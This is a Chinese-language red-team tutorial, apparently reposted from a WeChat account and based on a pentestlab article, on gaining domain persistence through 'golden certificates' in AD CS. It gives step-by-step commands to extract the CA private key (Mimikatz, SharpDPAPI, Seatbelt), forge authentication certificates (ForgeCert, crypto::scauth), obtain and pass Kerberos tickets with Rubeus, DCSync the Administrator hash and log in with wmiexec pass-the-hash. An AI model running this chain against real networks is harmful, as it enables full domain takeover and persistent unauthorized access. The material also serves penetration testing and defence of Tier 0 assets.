域控渗透最常见的域持久性技术之一是黄金票据攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。但是在部署了 Active Directory 认证服务 (AD CS) 的服务器的域中,可能会在发生入侵时被滥用以实现域持久性。通过窃取 CA 证书的私钥,红队可以伪造和签署证书以用于身份验证。在部署 Active Directory 证书服务 (AD CS) 期间,域中默认启用基于证书的身份验证。因此,需要将这些系统视为第 0 层资产并得到适当保护。
通过黄金证书执行域持久化需要以下步骤:
-
证书提取 (CA)
-
伪造CA证书
-
获取 Kerberos 票证(DC 的机器账户)
-
执行pass票证
证书提取
CA 证书和私钥存储在 CA 服务器中。使用与系统的 RDP 连接,可以使用“ certsrv.msc ”的备份功能检索这些信息。
在证书颁发机构备份向导中,私钥和 CA 证书都可以导出到指定位置。
CA 证书将导出为 p12 文件(个人信息交换)。
但是,还有多种其他方法可用于从服务器提取 CA 证书和私钥。使用参数“ Certificates ”执行Seatbelt可以枚举存储的CA证书。
Seatbelt.exe Certificates
Mimikatz 还可以与加密存储进行交互,以检索和导出证书和私钥。修补“ CryptoAPI ”和“ KeyIso ”不可导出的密钥将可以从许多密钥提供程序导出。
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
证书将以 .DER 和 .PFX 格式提取到磁盘上。
SharpDPAPI也可用于提取证书。执行“ certificates /machine ”命令将使用机器证书存储来提取可解密的机器证书和私钥。
SharpDPAPI.exe certificates /machine
私钥和证书都将显示在控制台中。
提取的私钥和证书可以写入扩展名为 .PEM 的文件中。执行以下命令可以将证书转换为可用格式,如 .PFX 允许用于使用 Rubeus 进行身份验证。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
伪造CA证书
Mimikatz 可用于通过使用“ crypto::scauth ”模块来伪造和签署证书。该模块最初是为创建智能卡身份验证客户端证书而开发的。所需的参数是证书颁发机构的主题名称和将创建证书的用户的用户主体名称。可选项,“ /pfx ”参数可用于定义将要创建的证书的文件名。
crypto::scauth /caname:ca /upn:[email protected]
或者,ForgeCert是由Lee Christensen在 C# 中开发的,它使红队能够使用 CA 证书为任何域用户伪造证书进行身份验证。该工具可以注入内存中执行,并将文件写入磁盘。执行以下命令将为“ pentestlab ”用户创建一个假证书,该证书将由 CA 证书的私钥签名。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath localadmin.pfx --NewCertPassword Password123
应该注意的是,必须为域上的活动用户创建证书。因此它不能用于“ krbtgt ”帐户。伪造证书的有效期为1年,只要CA证书有效(一般为5年)就有效。除了域用户帐户外,机器帐户也可用于域持久性,因为可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技术。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath DC$.pfx --NewCertPassword Password123
Kerberos 票证
可以使用伪造的证书从密钥分发中心 (KDC) 请求 Kerberos 票证以进行身份验证。
Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123
通过票证
可以从域中的任何主机使用属于域控制器的机器帐户的证书来请求 Kerberos 票证。执行以下命令将检索 base64 格式的票证。
Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123
base64 票证可以被解码并写入扩展名为 .kirbi 的文件中。
echo "<base64>" | base64 -d > dc$.kirbi
票证可以传输到任何 Windows 主机,并使用传递票证技术导入任何用户会话。
Rubeus.exe ptt /ticket:dc$.kirbi
由于票据属于域控制器的计算机帐户,因此可以执行提升的活动,例如 DCSync。从当前执行 Mimikatz 并运行以下命令的会话中,将检索作为域管理员帐户的用户 Administrator 的 NTLM 哈希。
lsadump::dcsync /user:Administrator
散列可用于通过散列技术或通过 WMI 连接建立对域控制器的访问。
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]
参考链接
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://github.com/GhostPack/ForgeCert
https://pentestlab.blog/2021/11/15/golden-certificate/
原文始发于微信公众号(IRT工业安全红队):利用黄金证书劫持域控